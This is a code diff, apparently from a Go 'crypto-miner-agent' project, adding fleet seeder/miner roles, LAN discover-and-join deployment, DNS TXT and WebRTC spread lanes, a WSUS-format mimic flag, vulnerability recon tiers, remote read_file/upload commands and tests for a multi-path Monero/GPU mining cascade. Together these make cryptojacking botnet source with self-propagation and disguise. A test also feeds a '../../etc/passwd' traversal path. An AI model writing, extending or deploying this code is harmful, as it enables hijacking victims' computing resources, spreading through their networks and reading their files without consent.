t.Fatalf("encoded mismatch: got len=%d want len=%d", len(got.message), len(data))
|
||||
}
|
||||
}
|
||||
|
||||
func TestUploadCommandAcceptsSafePath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
dest := dir + "/notes.txt"
|
||||
|
||||
@@ -33,12 +33,13 @@ func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, un
|
||||
return out, err
|
||||
}
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": c.agentID,
|
||||
"build_id": c.cfg.BuildID,
|
||||
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
"platform": runtime.GOOS,
|
||||
"services": services,
|
||||
"unc_path": uncPath,
|
||||
"agent_id": c.agentID,
|
||||
"build_id": c.cfg.BuildID,
|
||||
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
"platform": runtime.GOOS,
|
||||
"services": services,
|
||||
"unc_path": uncPath,
|
||||
"wsus_format_mimic": c.cfg.WSUSFormatMimic,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
@@ -76,7 +77,7 @@ func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
|
||||
fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
|
||||
return c.fetchDeployPlan(services, uncPath)
|
||||
}
|
||||
lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
|
||||
lane, detail, err := deploy.RunDiscoverAndJoinAs(c.cfg, maxLANHosts, c.agentID, fetch)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -70,6 +72,99 @@ func TestIsBlockedDeletePath(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadFileCommandRejectsOversize(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
big := filepath.Join(dir, "huge.bin")
|
||||
if err := os.WriteFile(big, make([]byte, maxReadFileBytes+1), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c := newTestClient(t)
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
c.commandResultHook = func(_ string, success bool, message string) {
|
||||
gotOK = success
|
||||
gotMsg = message
|
||||
}
|
||||
c.handleCommand("read_file", 0, "", big, "", "")
|
||||
if gotOK {
|
||||
t.Fatal("oversize read_file should fail")
|
||||
}
|
||||
if !strings.Contains(gotMsg, "file too large") {
|
||||
t.Fatalf("message=%q", gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadFileCommandAcceptsWithinCap(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
small := filepath.Join(dir, "small.txt")
|
||||
want := "config-value"
|
||||
if err := os.WriteFile(small, []byte(want), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
c := newTestClient(t)
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
c.commandResultHook = func(_ string, success bool, message string) {
|
||||
gotOK = success
|
||||
gotMsg = message
|
||||
}
|
||||
c.handleCommand("read_file", 0, "", small, "", "")
|
||||
if !gotOK || gotMsg != want {
|
||||
t.Fatalf("ok=%v msg=%q want %q", gotOK, gotMsg, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentConfigFileUploadReadRoundTrip(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "agent-config.json")
|
||||
payload := `{"server_url":"http://127.0.0.1:8989","worker_name":"test-node"}`
|
||||
encoded := base64.StdEncoding.EncodeToString([]byte(payload))
|
||||
|
||||
c := newTestClient(t)
|
||||
uploadDone := make(chan struct{})
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
if action == "upload" {
|
||||
if !success {
|
||||
t.Fatalf("upload failed: %s", message)
|
||||
}
|
||||
close(uploadDone)
|
||||
}
|
||||
}
|
||||
c.handleCommand("upload", 0, "", cfgPath, encoded, "")
|
||||
<-uploadDone
|
||||
|
||||
readDone := make(chan struct{})
|
||||
var readBody string
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
if action == "read_file" {
|
||||
if !success {
|
||||
t.Fatalf("read_file failed: %s", message)
|
||||
}
|
||||
readBody = message
|
||||
close(readDone)
|
||||
}
|
||||
}
|
||||
c.handleCommand("read_file", 0, "", cfgPath, "", "")
|
||||
<-readDone
|
||||
if readBody != payload {
|
||||
t.Fatalf("round-trip mismatch:\nwant %q\ngot %q", payload, readBody)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadFileCommandRejectsTraversal(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
var gotMsg string
|
||||
c.commandResultHook = func(_ string, success bool, message string) {
|
||||
if !success {
|
||||
gotMsg = message
|
||||
}
|
||||
}
|
||||
c.handleCommand("read_file", 0, "", "../../etc/passwd", "", "")
|
||||
if !strings.Contains(gotMsg, "path traversal") {
|
||||
t.Fatalf("message=%q", gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadDirectoryEntriesCapsCount(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
for i := 0; i < maxListDirEntries+10; i++ {
|
||||
|
||||
87
agent/client/fleet_pressure.go
Normal file
87
agent/client/fleet_pressure.go
Normal file
@@ -0,0 +1,87 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"math"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const hashratePressureBaselinePerThread = 80.0
|
||||
|
||||
// ComputeHashratePressure normalizes live hashrate to 0–1 for stats WS.
|
||||
func ComputeHashratePressure(hashrate float64, threads int) float64 {
|
||||
if hashrate <= 0 || threads <= 0 {
|
||||
return 0
|
||||
}
|
||||
denom := float64(threads) * hashratePressureBaselinePerThread
|
||||
if denom <= 0 {
|
||||
return 0
|
||||
}
|
||||
p := hashrate / denom
|
||||
if p > 1 {
|
||||
p = 1
|
||||
}
|
||||
if p < 0 {
|
||||
p = 0
|
||||
}
|
||||
return math.Round(p*1000) / 1000
|
||||
}
|
||||
|
||||
func (c *AgentClient) effectiveFleetRole() string {
|
||||
return c.cfg.EffectiveFleetRole(c.fleetRoleHint())
|
||||
}
|
||||
|
||||
func (c *AgentClient) fleetRoleHint() string {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.fleetRoleHintVal
|
||||
}
|
||||
|
||||
func (c *AgentClient) setFleetRoleHint(hint string) {
|
||||
c.mu.Lock()
|
||||
c.fleetRoleHintVal = hint
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) lanSeedersSnapshot() []deploy.LANSeederHint {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if len(c.lanSeeders) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]deploy.LANSeederHint, len(c.lanSeeders))
|
||||
copy(out, c.lanSeeders)
|
||||
return out
|
||||
}
|
||||
|
||||
func (c *AgentClient) setLANSeeders(seeders []deploy.LANSeederHint) {
|
||||
c.mu.Lock()
|
||||
c.lanSeeders = append(c.lanSeeders[:0], seeders...)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAuthFleetRole(resp AuthResponse) {
|
||||
if h := config.NormalizeFleetRole(resp.FleetRoleHint); h == config.FleetRoleSeeder || h == config.FleetRoleMiner {
|
||||
c.setFleetRoleHint(h)
|
||||
}
|
||||
if len(resp.LANSeeders) > 0 {
|
||||
c.setLANSeeders(resp.LANSeeders)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) fleetPressureFields(hashrate float64, joinLane string) (role string, seedPressure, hashratePressure float64) {
|
||||
role = c.effectiveFleetRole()
|
||||
if role == config.FleetRoleSeeder {
|
||||
lanesReady := 0
|
||||
if c.cfg.DnsTxtSpread {
|
||||
lanesReady++
|
||||
}
|
||||
if c.cfg.WebRTCMeshSpread {
|
||||
lanesReady++
|
||||
}
|
||||
seedPressure = deploy.SeederSeedPressure(c.cfg, joinLane, lanesReady)
|
||||
return role, seedPressure, 0
|
||||
}
|
||||
return role, 0, ComputeHashratePressure(hashrate, c.cfg.EffectiveThreads())
|
||||
}
|
||||
55
agent/client/fleet_pressure_test.go
Normal file
55
agent/client/fleet_pressure_test.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func TestComputeHashratePressure(t *testing.T) {
|
||||
if p := ComputeHashratePressure(0, 4); p != 0 {
|
||||
t.Fatalf("zero hashrate=%v", p)
|
||||
}
|
||||
p := ComputeHashratePressure(160, 4)
|
||||
if p < 0.49 || p > 0.51 {
|
||||
t.Fatalf("half pressure=%v", p)
|
||||
}
|
||||
if ComputeHashratePressure(400, 4) != 1 {
|
||||
t.Fatal("cap at 1")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyAuthFleetRole(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleAuto}}}
|
||||
c.applyAuthFleetRole(AuthResponse{
|
||||
FleetRoleHint: config.FleetRoleSeeder,
|
||||
LANSeeders: []deploy.LANSeederHint{
|
||||
{AgentID: "s1", IP: "10.0.0.2"},
|
||||
},
|
||||
})
|
||||
if c.fleetRoleHint() != config.FleetRoleSeeder {
|
||||
t.Fatal("hint not applied")
|
||||
}
|
||||
if len(c.lanSeedersSnapshot()) != 1 {
|
||||
t.Fatal("lan seeders not stored")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetPressureFieldsSeederVsMiner(t *testing.T) {
|
||||
seeder := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
SeederMode: true, DnsTxtSpread: true, WebRTCMeshSpread: true,
|
||||
}}}
|
||||
role, seed, hr := seeder.fleetPressureFields(0, "dns_txt")
|
||||
if role != config.FleetRoleSeeder || seed != 1 || hr != 0 {
|
||||
t.Fatalf("seeder role=%s seed=%v hr=%v", role, seed, hr)
|
||||
}
|
||||
|
||||
miner := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FleetRole: config.FleetRoleMiner, Threads: 2, ThreadMode: "fixed",
|
||||
}}}
|
||||
role, seed, hr = miner.fleetPressureFields(80, "")
|
||||
if role != config.FleetRoleMiner || seed != 0 || hr <= 0 {
|
||||
t.Fatalf("miner role=%s seed=%v hr=%v", role, seed, hr)
|
||||
}
|
||||
}
|
||||
27
agent/client/fleet_role_lifecycle_test.go
Normal file
27
agent/client/fleet_role_lifecycle_test.go
Normal file
@@ -0,0 +1,27 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestMiningChainSkipsWhenSeederRole(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.SeederMode = true
|
||||
cfg.FleetRole = config.FleetRoleSeeder
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.connected.Store(true)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
|
||||
defer cancel()
|
||||
c.startMiningWhenReady(ctx)
|
||||
|
||||
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
||||
t.Fatalf("seeder should not start chain, active=%q", r.ActiveMethod)
|
||||
}
|
||||
}
|
||||
@@ -24,20 +24,22 @@ type MiningChainRunner struct {
|
||||
}
|
||||
|
||||
func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
|
||||
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
||||
report := RunVulnLOTLProbe()
|
||||
attempt := miner.TierAttempt{
|
||||
Tier: miner.TierVulnProbe,
|
||||
OK: true,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"risk_score": report.RiskScore,
|
||||
"exposed_count": report.ExposedCount,
|
||||
"finding_count": len(report.Findings),
|
||||
},
|
||||
}
|
||||
return attempt
|
||||
})
|
||||
if !miner.VulnProbeRunnerWired() {
|
||||
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
||||
report := RunVulnLOTLProbe()
|
||||
attempt := miner.TierAttempt{
|
||||
Tier: miner.TierVulnProbe,
|
||||
OK: true,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"risk_score": report.RiskScore,
|
||||
"exposed_count": report.ExposedCount,
|
||||
"finding_count": len(report.Findings),
|
||||
},
|
||||
}
|
||||
return attempt
|
||||
})
|
||||
}
|
||||
r := &MiningChainRunner{client: c}
|
||||
hooks := miner.ChainHooks{
|
||||
StartDockerLoad: r.startDockerLoad,
|
||||
|
||||
681
agent/client/mining_chain_lifecycle_test.go
Normal file
681
agent/client/mining_chain_lifecycle_test.go
Normal file
@@ -0,0 +1,681 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
// ─── test helpers ─────────────────────────────────────────────────────────────
|
||||
|
||||
func miningChainTestClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
|
||||
t.Helper()
|
||||
if cfg.BuiltinConfig.Threads == 0 {
|
||||
cfg.BuiltinConfig.Threads = 1
|
||||
}
|
||||
c := &AgentClient{
|
||||
cfg: cfg,
|
||||
reporter: stats.NewReporter(),
|
||||
}
|
||||
c.pool = miner.NewPool(1, cfg, c.reporter, nil)
|
||||
c.pool.Start()
|
||||
t.Cleanup(func() { c.pool.Stop() })
|
||||
return c
|
||||
}
|
||||
|
||||
func longRunningExecCmd() *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("ping", "-n", "600", "127.0.0.1")
|
||||
}
|
||||
return exec.Command("sleep", "600")
|
||||
}
|
||||
|
||||
func quickExitExecCmd() *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("cmd", "/c", "exit", "0")
|
||||
}
|
||||
return exec.Command("true")
|
||||
}
|
||||
|
||||
func setupFakeDockerRuntime(t *testing.T) {
|
||||
t.Helper()
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
|
||||
})
|
||||
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||
t.Cleanup(func() { miner.SetWSLDetector(nil) })
|
||||
miner.SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitExecCmd()
|
||||
}
|
||||
return longRunningExecCmd()
|
||||
})
|
||||
t.Cleanup(func() { miner.SetContainerExecCommand(nil) })
|
||||
}
|
||||
|
||||
func setupNoContainerRuntime(t *testing.T) {
|
||||
t.Helper()
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
|
||||
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||
t.Cleanup(func() { miner.SetWSLDetector(nil) })
|
||||
}
|
||||
|
||||
func baseMiningCfg() config.RuntimeConfig {
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionAuto,
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
Wallet: "XMR:test-wallet",
|
||||
Threads: 1,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func installFastVulnProbe(t *testing.T, wallet string) {
|
||||
t.Helper()
|
||||
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
||||
return miner.TierAttempt{Tier: miner.TierVulnProbe, OK: true, Wallet: wallet}
|
||||
})
|
||||
t.Cleanup(func() { miner.SetVulnProbeRunner(nil) })
|
||||
}
|
||||
|
||||
func skipCtrlTierHooks(r *MiningChainRunner) {
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
RunTierProbes: func() miner.TierReport { return miner.TierReport{} },
|
||||
RunTierChain: func() (miner.LOTLTier, error) { return "", miner.ErrTierChainSkipped },
|
||||
})
|
||||
}
|
||||
|
||||
func newTestMiningChainRunner(t *testing.T, c *AgentClient) *MiningChainRunner {
|
||||
t.Helper()
|
||||
installFastVulnProbe(t, c.cfg.Wallet)
|
||||
r := c.newMiningChainRunner()
|
||||
skipCtrlTierHooks(r)
|
||||
return r
|
||||
}
|
||||
|
||||
func onionPayloadShape(t *testing.T, report miner.TripleOnionReport, eventType string) map[string]interface{} {
|
||||
t.Helper()
|
||||
raw, err := json.Marshal(struct {
|
||||
miner.TripleOnionReport
|
||||
Event string `json:"event"`
|
||||
}{
|
||||
TripleOnionReport: report,
|
||||
Event: eventType,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal onion payload: %v", err)
|
||||
}
|
||||
var doc map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||
t.Fatalf("unmarshal onion payload: %v", err)
|
||||
}
|
||||
return doc
|
||||
}
|
||||
|
||||
func tierPayloadShape(t *testing.T, report miner.TierReport, eventType string) map[string]interface{} {
|
||||
t.Helper()
|
||||
raw, err := json.Marshal(struct {
|
||||
miner.TierReport
|
||||
Event string `json:"event"`
|
||||
}{
|
||||
TierReport: report,
|
||||
Event: eventType,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal tier payload: %v", err)
|
||||
}
|
||||
var doc map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||
t.Fatalf("unmarshal tier payload: %v", err)
|
||||
}
|
||||
return doc
|
||||
}
|
||||
|
||||
// ─── runner construction ───────────────────────────────────────────────────────
|
||||
|
||||
func TestMiningChainRunnerConstruction(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
if r == nil || r.client != c {
|
||||
t.Fatal("expected runner bound to client")
|
||||
}
|
||||
if r.ctrl == nil {
|
||||
t.Fatal("expected ChainController")
|
||||
}
|
||||
if r.tiers == nil {
|
||||
t.Fatal("expected TierOrchestrator")
|
||||
}
|
||||
if r.onion == nil {
|
||||
t.Fatal("expected TripleOnionOrchestrator")
|
||||
}
|
||||
order := r.ctrl.Status().ChainOrder
|
||||
if len(order) == 0 {
|
||||
t.Fatal("expected non-empty chain order")
|
||||
}
|
||||
if order[0] != miner.MethodInProcess {
|
||||
t.Fatalf("without runtime want inprocess first, got %v", order)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── start / stop / cooldown ─────────────────────────────────────────────────
|
||||
|
||||
func TestMiningChainRunnerStartStopCycle(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
r.startMiningCascade(ctx)
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess", st.ActiveMethod)
|
||||
}
|
||||
if c.hostMiningDisabled.Load() {
|
||||
t.Fatal("in-process path should not disable host mining")
|
||||
}
|
||||
|
||||
r.Stop()
|
||||
st = r.Status()
|
||||
if st.ActiveMethod != "" {
|
||||
t.Fatalf("after Stop active=%q want empty", st.ActiveMethod)
|
||||
}
|
||||
r.mu.Lock()
|
||||
cancelled := r.monCancel == nil
|
||||
r.mu.Unlock()
|
||||
if !cancelled {
|
||||
t.Fatal("Stop should clear monitor cancel func")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerCooldownBetweenPasses(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
attempts := 0
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
attempts++
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
ctx := context.Background()
|
||||
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
||||
t.Fatalf("first TryChain: %v", err)
|
||||
}
|
||||
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
||||
t.Fatalf("second TryChain: %v", err)
|
||||
}
|
||||
if attempts != 1 {
|
||||
t.Fatalf("cooldown attempts=%d want 1", attempts)
|
||||
}
|
||||
|
||||
r.Restart(ctx)
|
||||
if attempts != 2 {
|
||||
t.Fatalf("Restart after cooldown attempts=%d want 2", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── triple onion wire ordering ──────────────────────────────────────────────
|
||||
|
||||
func TestMiningChainRunnerTripleOnionPhaseOrdering(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
var phases []string
|
||||
policy := miner.TripleOnionPolicy{
|
||||
PatchFirst: false,
|
||||
ReconTiers: []string{"kev_scan"},
|
||||
DeployLanes: []string{"docker", "wsl"},
|
||||
}
|
||||
r.onion = miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
||||
RunReconTier: func(_ context.Context, tier string) miner.ReconTierResult {
|
||||
phases = append(phases, "recon:"+tier)
|
||||
return miner.ReconTierResult{OK: true, Snapshot: miner.ReconSnapshot{RiskScore: 5}}
|
||||
},
|
||||
RunDeployLane: func(_ context.Context, lane string) (bool, string) {
|
||||
phases = append(phases, "deploy:"+lane)
|
||||
if lane == "docker" {
|
||||
return true, "mock container ready"
|
||||
}
|
||||
return false, "skipped"
|
||||
},
|
||||
RunMining: func(_ context.Context) {
|
||||
phases = append(phases, "mining")
|
||||
},
|
||||
ReportEvent: r.reportOnionEvent,
|
||||
})
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
r.Start(ctx)
|
||||
|
||||
want := []string{"recon:kev_scan", "deploy:docker", "mining"}
|
||||
if len(phases) != len(want) {
|
||||
t.Fatalf("phases=%v want %v", phases, want)
|
||||
}
|
||||
for i := range want {
|
||||
if phases[i] != want[i] {
|
||||
t.Fatalf("phases[%d]=%q want %q full=%v", i, phases[i], want[i], phases)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─── tier hooks: container skip, inprocess, GPU parallel ────────────────────
|
||||
|
||||
func TestMiningChainRunnerContainerSkipsWithoutRuntime(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionContainer
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess when container unavailable", st.ActiveMethod)
|
||||
}
|
||||
for _, m := range st.ChainOrder {
|
||||
if m == miner.MethodContainer {
|
||||
t.Fatalf("chain order must omit container without runtime: %v", st.ChainOrder)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerContainerActiveWithMockRuntime(t *testing.T) {
|
||||
setupFakeDockerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
c.tierPolicy = miner.MiningTierPolicy{
|
||||
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
|
||||
}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodContainer {
|
||||
t.Fatalf("active=%q want container", st.ActiveMethod)
|
||||
}
|
||||
if !c.hostMiningDisabled.Load() {
|
||||
t.Fatal("container tier should disable host RandomX")
|
||||
}
|
||||
if c.containerMiner == nil || !c.containerMiner.Running() {
|
||||
t.Fatal("expected mock container miner running")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerInProcessPath(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
if c.hostMiningDisabled.Load() {
|
||||
t.Fatal("in-process should keep host mining enabled")
|
||||
}
|
||||
if r.Status().ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess", r.Status().ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerGPUParallelBranch(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
cfg.GPUEnabled = true
|
||||
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
gpuStarted := false
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
r.client.hostMiningDisabled.Store(false)
|
||||
r.client.pool.ResumeRemote()
|
||||
return nil
|
||||
},
|
||||
IsGPUSupported: func() bool { return true },
|
||||
WebGPUReady: func() bool { return true },
|
||||
StartGPU: func() error {
|
||||
gpuStarted = true
|
||||
r.ctrl.SetGPUActive(true)
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
st := r.Status()
|
||||
if !gpuStarted {
|
||||
t.Fatal("expected GPU parallel branch to start")
|
||||
}
|
||||
if !st.GPUParallel {
|
||||
t.Fatalf("status gpu_parallel=false: %+v", st)
|
||||
}
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("CPU primary=%q want inprocess", st.ActiveMethod)
|
||||
}
|
||||
for _, m := range st.ActiveMethods {
|
||||
if m == miner.MethodGPUSubprocess {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatalf("active_methods=%v want gpu_subprocess", st.ActiveMethods)
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerGPUSkippedWhenUnsupported(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
cfg.GPUEnabled = true
|
||||
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
r.client.hostMiningDisabled.Store(false)
|
||||
r.client.pool.ResumeRemote()
|
||||
return nil
|
||||
},
|
||||
IsGPUSupported: func() bool { return false },
|
||||
})
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
if r.Status().GPUParallel {
|
||||
t.Fatal("gpu_parallel should be false when IsGPUSupported is false")
|
||||
}
|
||||
}
|
||||
|
||||
// ─── reportOnionEvent / lotl_attempts payload shape ──────────────────────────
|
||||
|
||||
func TestMiningChainRunnerReportOnionEventPayloadShape(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
report := miner.TripleOnionReport{
|
||||
ActivePhase: miner.OnionPhaseDeploy,
|
||||
Gate: miner.GateDecision{SkipMining: false},
|
